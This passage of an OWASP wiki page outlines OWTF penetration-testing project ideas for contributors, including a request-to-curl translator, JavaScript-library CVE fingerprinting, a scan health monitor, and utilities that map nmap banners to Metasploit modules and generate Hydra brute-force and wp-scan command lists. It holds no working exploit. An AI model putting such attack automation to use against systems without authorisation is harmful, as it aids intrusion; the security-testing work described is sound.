&lt;br /&gt;
Same as with Single transactions, but letting the user &amp;quot;select a number of transactions&amp;quot; first (maybe a checkbox?).&lt;br /&gt;
&lt;br /&gt;
		&lt;br /&gt;
'''Desired input formats:'''&lt;br /&gt;
&lt;br /&gt;
* Read raw HTTP request from stdin -Suggested default behaviour! :)-&lt;br /&gt;
&lt;br /&gt;
	Example: cat path/to/http_request.txt | http-request-translator.py --output&lt;br /&gt;
&lt;br /&gt;
* Interactive mode: read raw HTTP request from keyboard + &amp;quot;hit enter when ready&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	Suggestion: This could be a &amp;quot;-i&amp;quot; (for &amp;quot;interactive&amp;quot;) flag and/or the fallback option when &amp;quot;stdin is empty&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	Example:&lt;br /&gt;
&lt;br /&gt;
	1) User runs tool with desired flags (i.e. &amp;quot;--output ruby --proxy 127.0.0.1:1234 ...&amp;quot;, etc.)&lt;br /&gt;
&lt;br /&gt;
	2) Tool prints: &amp;quot;Please paste a raw HTTP request and hit enter when ready&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	3) User pastes a raw HTTP requests + hits enter&lt;br /&gt;
&lt;br /&gt;
	4) Tool outputs whatever is relevant for the flags + http request given&lt;br /&gt;
&lt;br /&gt;
* For bulk processing: Maybe a directory of raw http request files?&lt;br /&gt;
&lt;br /&gt;
'''Nice to have: Transforms'''&lt;br /&gt;
&lt;br /&gt;
In the context of translating raw HTTP requests into commands/scripts, what we want here is to provide some handy &amp;quot;macros&amp;quot; so that the relevant command/script is generated accordingly.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
NOTE: Assume something like the following arguments: &amp;quot;--transform-boundary=@@@@@@@ --transform-language=php&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Step 1) The user provides a raw HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
  GET /path/to/urlencode@@@@@@@abc d@@@@@@@/test&lt;br /&gt;
  Host: target.com&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Step 2) The tool generates a bash script like the following:&lt;br /&gt;
&lt;br /&gt;
  #!/bin/bash&lt;br /&gt;
  &lt;br /&gt;
  PARAM1=$(echo 'abc d' | php -r &amp;quot;echo urlencode(fgets(STDIN));&amp;quot;)&lt;br /&gt;
  curl ...... &amp;quot;http://target.com/path/to/$PARAM1/test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OR a &amp;quot;curl command&amp;quot; like the following:&lt;br /&gt;
  PARAM1=$(echo 'abc d' | php -r &amp;quot;echo urlencode(fgets(STDIN));&amp;quot;); curl ...... &amp;quot;http://target.com/path/to/$PARAM1/test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This feature can be valuable to shave a bit more time in script writing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - JavaScript Library Sniper Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
This is a project that tries to resolve a very common problem during penetration tests:&lt;br /&gt;
&lt;br /&gt;
The customer is running a number of outdated JavaScript Libraries, but there is just not enough time to determine if something useful -i.e. something *really* bad! :)- can be done with that or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To solve this problem, we propose a *standalone* *tool* that can:&lt;br /&gt;
&lt;br /&gt;
1) Be run BOTH from inside AND outside of OWTF&lt;br /&gt;
&lt;br /&gt;
2) Build and *update* a fingerprint JavaScript library database of:&lt;br /&gt;
* Library File hashes =&amp;gt; JavaScript Library version&lt;br /&gt;
* Library File lengths =&amp;gt; JavaScript Library version&lt;br /&gt;
* (Nice to have:) As above, but for each individual github commit (possible drawback: too big?)&lt;br /&gt;
&lt;br /&gt;
3) Build and *update* a vulnerability database of:&lt;br /&gt;
* JavaScript Library version =&amp;gt; CVE - CVSS score - Vulnerability info&lt;br /&gt;
&lt;br /&gt;
4) Given a [ JavaScript file OR hash OR length ], found in the database, provides:&lt;br /&gt;
* JavaScript Library version&lt;br /&gt;
* List of vulnerabilities sorted in descending CVSS score order&lt;br /&gt;
&lt;br /&gt;
5) (very cool to have) Given a list of JavaScript files (maybe a directory), provides:&lt;br /&gt;
* ALL Library/vulnerability matches described on 4)&lt;br /&gt;
	&lt;br /&gt;
Once the standalone tool is built and verified to be working, OWTF should be able to:&lt;br /&gt;
&lt;br /&gt;
Feature 1) GREP plugin improvement (Web Application Fingerprint):&lt;br /&gt;
&lt;br /&gt;
Step 1) Lookup file lengths and hashes in the &amp;quot;JavaScript library database&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Step 2) If a match is found: provide the list of known vulnerabilities against &amp;quot;JavaScript library X&amp;quot; to the user&lt;br /&gt;
&lt;br /&gt;
Feature 2) SEMI-PASSIVE plugin improvement (Web Application Fingerprint):&lt;br /&gt;
&lt;br /&gt;
1) Requests all referenced BUT missing JavaScript files -i.e. scanners won't load JavaScript files! :)-&lt;br /&gt;
&lt;br /&gt;
2) re-runs the GREP plugin on the new files (i.e. to avoid missing vulns due to unrequested JavaScript files)&lt;br /&gt;
&lt;br /&gt;
Potential projects worth having a look for potential overlap/inspiration:&lt;br /&gt;
* [https://owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Check?]&lt;br /&gt;
&lt;br /&gt;
How many JavaScript libraries should be included?&lt;br /&gt;
* As many as possible, but especially the major ones: jQuery, knockout, etc.&lt;br /&gt;
* &amp;quot;Nirvana&amp;quot; Nice to have: ALL Individual versions of ALL JavaScript files from ALL opensource projects, (ideally) even if the project is not a JavaScript library -i.e. JavaScript files from Joomla, Wordpress, etc.-&lt;br /&gt;
&lt;br /&gt;
Common JavaScript library fingerprinting techniques include:&lt;br /&gt;
* Parse the JavaScript file and grab the version from there&lt;br /&gt;
* Determine the JavaScript version based on a hash of the file&lt;br /&gt;
* Determine the JavaScript version based on the length of the file&lt;br /&gt;
&lt;br /&gt;
Other Challenges:&lt;br /&gt;
* &amp;quot;the file&amp;quot; could be &amp;quot;the minimised file&amp;quot;, &amp;quot;the expanded file&amp;quot; or even &amp;quot;a specific JavaScript file from Library X&amp;quot;&lt;br /&gt;
* When the JavaScript file does not match a specific version:&lt;br /&gt;
	1) The commit that matches the closest should (ideally) be found&lt;br /&gt;
	2) The NEXT library version after that commit (if present) should be found&lt;br /&gt;
	3) From there, it is about reusing the knowledge to figure out public vulnerabilities, CVSS scores, etc. again&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Off-line HTTP traffic uploader ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Although it is awesome that OWTF runs a lot of tools on behalf of the user, there are situations where uploading the HTTP traffic of another tool off-line can be very interesting for OWTF, for example:&lt;br /&gt;
&lt;br /&gt;
* Tools that OWTF has trouble proxying right now: skipfish, hoppy&lt;br /&gt;
* Tools that the user may have run manually OR even from a tool aggregator -very common! :)-&lt;br /&gt;
* Tools that we just don't run from OWTF: ZAP, Burp, Fiddler&lt;br /&gt;
&lt;br /&gt;
This project is about implementing an off-line utility able to parse HTTP traffic:&lt;br /&gt;
&lt;br /&gt;
1) Figure out how to read output files from various tools like:&lt;br /&gt;
skipfish, hoppy, w3af, arachni, etc.&lt;br /&gt;
Nice to have: ZAP database, Burp database&lt;br /&gt;
&lt;br /&gt;
2) Translate that into the following clearly defined fields:&lt;br /&gt;
&lt;br /&gt;
* HTTP request&lt;br /&gt;
* HTTP response status code&lt;br /&gt;
* HTTP response headers&lt;br /&gt;
* HTTP response body&lt;br /&gt;
&lt;br /&gt;
3) IMPORTANT: Implement a plugin-based uploader system&lt;br /&gt;
&lt;br /&gt;
4) IMPORTANT: Implement ONE plugin, that uploads that into the OWTF database&lt;br /&gt;
&lt;br /&gt;
5) IMPORTANT: OWTF should ideally be able to invoke the uploader right after running a tool&lt;br /&gt;
	Example: OWTF runs skipfish, skipfish finishes, OWTF runs the HTTP traffic uploader, all skipfish data is pushed to the OWTF DB.&lt;br /&gt;
&lt;br /&gt;
6) CRITICAL: The off-line HTTP traffic uploader should be smart enough to read + push 1-by-1 instead of *stupidly* trying to load everything into memory first, you have been warned! :)&lt;br /&gt;
&lt;br /&gt;
	Why? Because in a huge assessment, the output of &amp;quot;tool X&amp;quot; can be &amp;quot;10 GB&amp;quot;, which is *stupid* to load into memory, this is OWTF, we *really* try to foresee the crash before it happens! ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CRITICAL: It is important to implement a plugin-based uploader system, so that other projects can benefit from this work (i.e. to be able to import third-party tool data to ZAP, Burp, and other tools in a similar fashion), and hence hopefully join us in maintaining this project moving forward.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Health Monitor ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
In some cases, especially on large assessments (think: &amp;gt; 30 URLs) a number of things often go wrong and OWTF needs to recover from everything, which is difficult.&lt;br /&gt;
&lt;br /&gt;
For this reason, OWTF needs an independent module, which is completely detached from OWTF (a different process), to ensure the health of the assessment is in check at all times, this includes the following:&lt;br /&gt;
&lt;br /&gt;
'''Feature 1) Alerting mechanisms'''&lt;br /&gt;
&lt;br /&gt;
When any of the monitor alerts (see below) is triggered. The OWTF user will be notified immediately through ALL of the following means:&lt;br /&gt;
* Playing an mp3 song (both local and possibly remote locations)&lt;br /&gt;
* Scan status overview on the CLI&lt;br /&gt;
* Scan status overview on the GUI&lt;br /&gt;
&lt;br /&gt;
NOTE: A configuration file from where the user can enable/disable/configure all these mechanisms is desired.&lt;br /&gt;
&lt;br /&gt;
'''Feature 2) Corrective mechanisms'''&lt;br /&gt;
&lt;br /&gt;
Corrective mechanisms are also expected in this project, these will be accomplished sending OWTF api messages such as:&lt;br /&gt;
* Stop this tool&lt;br /&gt;
* Freeze this process (to continue later)&lt;br /&gt;
* Freeze the whole scan (to continue later)&lt;br /&gt;
&lt;br /&gt;
Additional mechanisms:&lt;br /&gt;
* Show a ranking of files that take the most space&lt;br /&gt;
&lt;br /&gt;
'''Feature 3) Target monitor'''&lt;br /&gt;
&lt;br /&gt;
Brief overview:&lt;br /&gt;
&lt;br /&gt;
All target URLs are checked for availability periodically (i.e. once x 5 minutes?), if a URL in scope goes down the pentester is alerted (see above).&lt;br /&gt;
&lt;br /&gt;
Potential approach: Check if length of 1st page changes every 60 seconds.&lt;br /&gt;
&lt;br /&gt;
NOTE: It might be needed to change this on the fly.&lt;br /&gt;
&lt;br /&gt;
More background&lt;br /&gt;
&lt;br /&gt;
Consider the following scenario:&lt;br /&gt;
&lt;br /&gt;
Current Situation aka &amp;quot;problem to solve&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
1) Website X goes down during a scan&lt;br /&gt;
&lt;br /&gt;
2) the customer notices&lt;br /&gt;
&lt;br /&gt;
3) the customer tells the boss&lt;br /&gt;
&lt;br /&gt;
4) the boss tells the pentester&lt;br /&gt;
&lt;br /&gt;
5) the pentester stops the tool which was *still* trying to scan THAT target (!!!!)&lt;br /&gt;
&lt;br /&gt;
Desired situation aka &amp;quot;solution&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
It would be much more professional AND efficient that:&lt;br /&gt;
&lt;br /&gt;
1) The pentester notices&lt;br /&gt;
&lt;br /&gt;
2) The pentester tells the boss&lt;br /&gt;
&lt;br /&gt;
3) The boss tells the customer&lt;br /&gt;
&lt;br /&gt;
4) OWTF stops the tool because it knows that website is DEAD anyway&lt;br /&gt;
&lt;br /&gt;
A target monitor could easily do this with heartbeat requests + playing mp3s&lt;br /&gt;
&lt;br /&gt;
The target monitor will use the api to tell OWTF &amp;quot;this target is dead: freeze(stop?) current tests, skip target in future tests&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Feature 4) Disk space monitor'''&lt;br /&gt;
&lt;br /&gt;
Another problem that is relatively common in large assessments, is that all disk space is used and the scanning box becomes unresponsive or crashes. When this happens it is too late, the pentester may also see this coming but wonder “which are the biggest files in the filesystem that I can delete”, it is not ideal to have to look for these files in a moment when the scanning box is about to crash :).&lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
Regularly monitor how much disk space is left, especially on the partition where OWTF is writing the review (but also tool directories such as /home/username/.w3af/tmp, etc.). Keep track of files created by OWTF and all called tools and sort them by size in descending order. Then when the disk space is going low (i.e. predefined threshold), an mp3 or similar is played and this list is displayed to the user, so that they know what to delete to survive :).&lt;br /&gt;
&lt;br /&gt;
'''Feature 5) Network/Internet Connectivity monitor'''&lt;br /&gt;
&lt;br /&gt;
Sometimes it may also happen that ISP, etc. connectivity go down in the middle of a scan, this is often a very unfortunate situation since most tools are scanning in parallel and they won’t be able to produce a report OR even resume (i.e. A LOT is lost). The goal here is that OWTF does all of the following automatically:&lt;br /&gt;
&lt;br /&gt;
1) Detects the lack of connectivity&lt;br /&gt;
&lt;br /&gt;
2) Freezes all the tools (read: processes) in progress&lt;br /&gt;
&lt;br /&gt;
3) Resumes the scan when the connectivity is back.&lt;br /&gt;
&lt;br /&gt;
'''Feature 6) Tool crash detection'''&lt;br /&gt;
&lt;br /&gt;
Sometimes, certain tools (most notably, ahem, w3af), when they crash they do NOT exit. This leaves OWTF in a difficult position where 1+ process is waiting for nothing, forever (i.e. because “Tool X” will never finish)&lt;br /&gt;
&lt;br /&gt;
'''Feature 7) Tool (Plugin?) CPU/RAM/Bandwidth abuse detection and correction'''&lt;br /&gt;
&lt;br /&gt;
OWTF needs to notice when some tools crash and/or “go beserk” with RAM/CPU/Bandwidth consumption, this is different from the existing built-in checks in OWTF like “do not launch a new tool if there is less than XYZ RAM free” and more like “if tool X is using &amp;gt; XYZ of the available RAM/CPU/Bandwidth” and this is (potentially) negatively affecting other tools/tests, then throttle it.&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Installation Improvements and Package manager ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This project is to implement what was suggested in the following github issue:&lt;br /&gt;
[https://github.com/owtf/owtf/issues/192 https://github.com/owtf/owtf/issues/192]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Recently i tried to make a fresh installation of OWTF. The installation process takes too much time. Is there any way to make the installation faster?&lt;br /&gt;
Having a private server with:&lt;br /&gt;
* pre-installed files for VMs&lt;br /&gt;
* pre-configured and patched tools&lt;br /&gt;
* Merged Lists&lt;br /&gt;
* Pre-configured certificates&lt;br /&gt;
Additionally a minimal installation which will install the core of OWTF with the option of update can increase the installation speed. The update procedure will start fetching the latest file versions from the server and copy them to the right path.&lt;br /&gt;
Additional ideas are welcome.&lt;br /&gt;
&lt;br /&gt;
-- They could be hosted on Dropbox or a private VPS :)&lt;br /&gt;
&lt;br /&gt;
2 Installation Modes&lt;br /&gt;
* For high speed connections (Downloading the files uncompressed)&lt;br /&gt;
* For low speed connections (Downloading the files compressed)&lt;br /&gt;
and the installation crashed because i runned out of space in the vm&lt;br /&gt;
IMPORTANT NOTE: OWTF should check the available disk space BEFORE installation starts + warn the user if problems are likely&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Excellent reliability (i.e. proper exception handling, etc.)&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Testing Framework Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to improve the existing unit testing framework so that creating OWASP OWTF unit tests is as simple as possible and all missing tests for new functionality are created. The goal of this project is to update the existing Unit Test Framework to create all missing tests as well as improve the existing ones to verify OWASP OWTF functionality in an automated fashion.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Top features'''&lt;br /&gt;
&lt;br /&gt;
In this improvement phase, the Testing Framework should:&lt;br /&gt;
* (Top Prio) Focus more on functional tests&lt;br /&gt;
For example: Improve coverage of OWASP Testing Guide, PTES, etc. (lots of room for improvement there!)&lt;br /&gt;
* (Top Prio) Put together a great wiki documentation section for contributors&lt;br /&gt;
The goal here is to help contributors write tests for the functionality that they implement. This should be as easy as possible.&lt;br /&gt;
* (Top Prio) Fix the current Travis issues :)&lt;br /&gt;
* (Nice to have) Bring the unit tests up to speed with the codebase&lt;br /&gt;
This will be challenging but very worth trying after top priorities.&lt;br /&gt;
The wiki should be heavily updated so that contributors create their own unit tests easily moving forward.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''General background'''&lt;br /&gt;
&lt;br /&gt;
The Unit Test Framework should be able to:&lt;br /&gt;
* Define test categories: For example, &amp;quot;all plugins&amp;quot;, &amp;quot;web plugins&amp;quot;, &amp;quot;aux plugins&amp;quot;, &amp;quot;test framework core&amp;quot;, etc. (please see [http://www.slideshare.net/abrahamaranguren/introducing-owasp-owtf-workshop-brucon-2012 this presentation] for more background)&lt;br /&gt;
* Allow to regression test isolated plugins (i.e. &amp;quot;only test _this_ plugin&amp;quot;)&lt;br /&gt;
* Allow to regression test by test categories (i.e. &amp;quot;test only web plugins&amp;quot;)&lt;br /&gt;
* Allow to regression test everything (i.e. plugins + framework core: &amp;quot;test all&amp;quot;)&lt;br /&gt;
* Produce meaningful statistics and easy to navigate logs to identify which tests failed and ideally also hints on how to potentially fix the problem where possible&lt;br /&gt;
* Allow for easy creation of _new_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Allow for easy modification and maintenance of _existing_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Perform well so that we can run as many tests as possible in a given period of time&lt;br /&gt;
* Potentially leverage the python unittest library: [http://docs.python.org/2/library/unittest.html http://docs.python.org/2/library/unittest.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Performant and automated regression testing&lt;br /&gt;
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Tool utilities module ===&lt;br /&gt;
&lt;br /&gt;
'''WARNING: This idea is taken from the 1st round of OWCS selections (Sept. 15th), please do NOT apply'''&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
The spirit of this feature is something that may or may not be used from OWTF: These are utilities that may be chained together by OWTF OR a penetration tester using the command line. The idea is to automate mundane tasks that take time but may provide a lever to a penetration tester short on time.&lt;br /&gt;
&lt;br /&gt;
'''Feature 1) Vulnerable software version database:'''&lt;br /&gt;
&lt;br /&gt;
Implement a searchable vulnerable software version database so that a penetration tester enters a version and gets vulnerabilities sorted by criticality with MAX Impact vulnerabilities at the top (possibly: CVSS score in DESC order).&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
[http://www.cvedetails.com/vulnerability-list.php?vendor_id=74&amp;amp;product_id=128&amp;amp;version_id=149817&amp;amp;page=1&amp;amp;hasexp=0&amp;amp;opdos=0&amp;amp;opec=0&amp;amp;opov=0&amp;amp;opcsrf=0&amp;amp;opgpriv=0&amp;amp;opsqli=0&amp;amp;opxss=0&amp;amp;opdirt=0&amp;amp;opmemc=0&amp;amp;ophttprs=0&amp;amp;opbyp=0&amp;amp;opfileinc=0&amp;amp;opginf=0&amp;amp;cvssscoremin=0&amp;amp;cvssscoremax=0&amp;amp;year=0&amp;amp;month=0&amp;amp;cweid=0&amp;amp;order=3&amp;amp;trc=17&amp;amp;sha=0d26af6f3ba8ea20af18d089df40c252ea09b711 Vulnerabilities against specific software version]&lt;br /&gt;
&lt;br /&gt;
'''Feature 2) Nmap output file merger:'''&lt;br /&gt;
&lt;br /&gt;
Unify nmap files *without* losing data: XML, text and greppable formats&lt;br /&gt;
For example: Sometimes 2 scans pass through the same port, one returns the server version, the other does not, we obviously do not want to lose banner information :).&lt;br /&gt;
&lt;br /&gt;
'''Feature 3) Nmap output file vulnerability mapper'''&lt;br /&gt;
&lt;br /&gt;
From an nmap output file, get the unique software version banners, and provide a list of (maybe in tabs?):&lt;br /&gt;
&lt;br /&gt;
1) CVEs in reverse order of CVSS score, with links.&lt;br /&gt;
&lt;br /&gt;
2) Metasploit modules available for each CVE / issue&lt;br /&gt;
&lt;br /&gt;
NOTE: Can supply an *old* shell script for reference&lt;br /&gt;
&lt;br /&gt;
3) Servers/ports affected (i.e. all server / port combinations using that software version)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 4) URL target list creator:'''&lt;br /&gt;
&lt;br /&gt;
Turn all “speaks http” ports (from any nmap format) into a list of URL targets for OWTF&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 5) Hydra command creator:'''&lt;br /&gt;
&lt;br /&gt;
nmap file in =&amp;gt; Hydra command list out&lt;br /&gt;
&lt;br /&gt;
grep http auth / login pages in output files to identify login interfaces =&amp;gt; Hydra command list out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 6) WP-scan command creator:'''&lt;br /&gt;
&lt;br /&gt;
look at all URLs (i.e. nmap file), check if they might be running word press, generate a list of suggested wp-scan commands for all targets that might be running word press&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
